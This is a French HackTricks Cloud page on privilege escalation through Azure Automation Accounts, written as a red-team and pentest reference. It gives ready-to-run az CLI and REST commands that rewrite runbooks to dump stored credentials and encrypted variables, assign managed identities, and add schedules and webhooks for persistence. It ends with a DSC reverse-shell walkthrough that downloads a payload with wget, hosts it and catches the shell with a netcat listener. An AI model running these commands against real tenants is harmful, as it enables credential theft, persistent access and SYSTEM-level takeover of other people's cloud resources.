Az - Azure Automation Accounts Privesc
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Azure Automation Accounts
Pour plus d’informations, voir :
Hybrid Workers Group
- De l’Automation Account vers la VM
N’oubliez pas que si, d’une manière ou d’une autre, un attaquant peut exécuter un runbook arbitraire (code arbitraire) dans un hybrid worker, il pourra pivot vers l’emplacement de la VM. Cela peut être une machine on-premise, un VPC d’un cloud différent ou même une Azure VM.
De plus, si le hybrid worker s’exécute dans Azure avec d’autres Managed Identities attachées, le runbook pourra accéder à la managed identity du runbook et à toutes les managed identities de la VM via le metadata service.
Tip
Rappelez-vous que le metadata service a une URL différente (
http://169.254.169.254) du service depuis lequel on obtient le token des Managed Identities de l’Automation Account (IDENTITY_ENDPOINT).
- De la VM vers l’Automation Account
De plus, si quelqu’un compromet une VM où s’exécute un script d’Automation Account, il pourra localiser les métadonnées de l’Automation Account et y accéder depuis la VM pour obtenir des tokens pour les Managed Identities attachées à l’Automation Account.
Comme on peut le voir dans l’image suivante, en ayant un accès Administrator sur la VM, il est possible de trouver dans les environment variables of the process l’URL et le secret permettant d’accéder au automation account metadata service :

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)
En résumé, ces permissions permettent de créer, modifier et exécuter des Runbooks dans l’Automation Account, ce que vous pouvez utiliser pour exécuter du code dans le contexte de l’Automation Account, escalader les privilèges vers les Managed Identities assignées et leak des credentials et des encrypted variables stockés dans l’Automation Account.
La permission Microsoft.Automation/automationAccounts/runbooks/draft/write permet de modifier le code d’un Runbook dans l’Automation Account en utilisant :
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
Remarquez comment le script précédent peut être utilisé pour leak the useranmd and password d’un credential et la valeur d’une encrypted variable stockée dans l’Automation Account.
La permission Microsoft.Automation/automationAccounts/runbooks/publish/action permet à l’utilisateur de publier un Runbook dans l’Automation Account pour que les modifications soient appliquées :
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
La permission Microsoft.Automation/automationAccounts/jobs/write permet à l’utilisateur d’exécuter un Runbook dans l’Automation Account en utilisant :
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
La permission Microsoft.Automation/automationAccounts/jobs/output/read permet à l’utilisateur de lire la sortie d’un job dans l’Automation Account en utilisant :
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
S’il n’y a pas de Runbooks créés, ou si vous voulez en créer un nouveau, vous aurez besoin des permissions Microsoft.Resources/subscriptions/resourcegroups/read et Microsoft.Automation/automationAccounts/runbooks/write pour le faire en utilisant :
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Cette permission permet à l’utilisateur d’assigner une user managed identity à l’Automation Account en utilisant :
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write
Avec l’autorisation Microsoft.Automation/automationAccounts/schedules/write, il est possible de créer un nouveau Schedule dans l’Automation Account qui s’exécute toutes les 15 minutes (peu discret) en utilisant la commande suivante.
Notez que l’intervalle minimum pour un Schedule est de 15 minutes, et que l’heure de début minimale est de 5 minutes dans le futur.
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
Ensuite, avec l’autorisation Microsoft.Automation/automationAccounts/jobSchedules/write, il est possible d’affecter un Scheduler à un runbook en utilisant :
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
Tip
Dans l’exemple précédent, l’ID jobchedule a été laissé comme
b510808a-8fdc-4509-a115-12cfc3a2ad0dà titre d’exemple, mais vous devrez utiliser une valeur arbitraire pour créer cette assignation.
Microsoft.Automation/automationAccounts/webhooks/write
Avec l’autorisation Microsoft.Automation/automationAccounts/webhooks/write, il est possible de créer un nouveau Webhook pour un Runbook dans un Automation Account en utilisant l’une des commandes suivantes.
With Azure Powershell:
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
Avec AzureCLI et REST :
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
Ces commandes devraient retourner un webhook URI qui n’est affiché qu’à la création. Ensuite, pour appeler le runbook en utilisant le webhook URI
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
Microsoft.Automation/automationAccounts/runbooks/draft/write
Rien qu’avec la permission Microsoft.Automation/automationAccounts/runbooks/draft/write il est possible de mettre à jour le code d’un Runbook sans le publier et de l’exécuter en utilisant les commandes suivantes.
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)
Cette autorisation permet à l’utilisateur de configurer un contrôle de version pour l’Automation Account en utilisant une commande telle que la suivante (exemple avec Github) :
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
Cela importera automatiquement les runbooks depuis le dépôt Github vers l’Automation Account et, avec d’autres permissions pour commencer à les exécuter, il serait possible to escalate privileges.
De plus, souvenez-vous que pour que source control fonctionne dans les Automation Accounts il doit avoir une managed identity avec le rôle Contributor et si c’est une user managed identity le cleint id du MI doit être spécifié dans la variable AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID.
Tip
Notez qu’il n’est pas possible de changer le repo URL d’un source control une fois qu’il est créé.
Microsoft.Automation/automationAccounts/variables/write
Avec la permission Microsoft.Automation/automationAccounts/variables/write il est possible d’écrire des variables dans l’Automation Account en utilisant la commande suivante.
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
Environnements d’exécution personnalisés
Si un automation account utilise un custom runtime environment, il peut être possible d’écraser un custom package du runtime avec du code malveillant (comme a backdoor). Ainsi, chaque fois qu’un runbook utilisant ce custom runtime est exécuté et charge le custom package, le code malveillant sera exécuté.
Compromettre la configuration d’état
Check the complete post in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe
- Étape 1 — Créer les fichiers
Fichiers requis : Deux scripts PowerShell sont nécessaires :
reverse_shell_config.ps1: un fichier Desired State Configuration (DSC) qui récupère et exécute le payload. Il est disponible sur GitHub.push_reverse_shell_config.ps1: un script pour publier la configuration sur la VM, disponible sur GitHub.
Personnalisation : Les variables et paramètres dans ces fichiers doivent être adaptés à l’environnement spécifique de l’utilisateur, y compris les noms de ressources, chemins de fichiers et identifiants de serveur/payload.
- Étape 2 — Compresser le fichier de configuration
Le fichier reverse_shell_config.ps1 est compressé dans une archive .zip, prêt à être transféré vers l’Azure Storage Account.
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
- Étape 3 — Définir le contexte de stockage et téléverser
Le fichier de configuration zippé est téléversé dans un conteneur Azure Storage prédéfini, azure-pentest, en utilisant le cmdlet Set-AzStorageBlobContent d’Azure.
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
- Étape 4 — Préparer la Kali Box
Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépôt GitHub.
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
Le script est modifié pour spécifier la Windows VM cible et le port du reverse shell.
- Step 5 — Publish Configuration File
Le fichier de configuration est exécuté, entraînant le déploiement du script reverse-shell à l’emplacement spécifié sur la Windows VM.
- Step 6 — Host Payload and Setup Listener
Un Python SimpleHTTPServer est démarré pour héberger le payload, accompagné d’un listener Netcat pour capturer les connexions entrantes.
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
La tâche planifiée exécute le payload, obtenant des privilèges au niveau SYSTEM.
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

